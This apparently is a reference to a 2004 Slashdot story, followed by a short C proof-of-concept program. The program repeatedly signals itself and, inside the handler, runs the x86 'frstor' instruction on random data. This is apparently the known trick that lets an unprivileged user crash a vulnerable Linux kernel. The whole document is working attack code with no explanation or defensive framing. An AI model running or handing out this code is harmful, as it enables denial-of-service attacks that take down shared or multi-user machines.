Cf
http://slashdot.org/article.pl?sid=04/06/14/118209&mode=thread&tid=106&tid=126&tid=128&tid=185&tid=190


#include <stdlib.h>
#include <signal.h>
a(b){for(short i=108,g[i];i--;g[i]=rand())if(i)asm("frstor %0"::"m"(*g));}
main(){signal(30,a);for(;;)kill(getpid(),30);return 0;}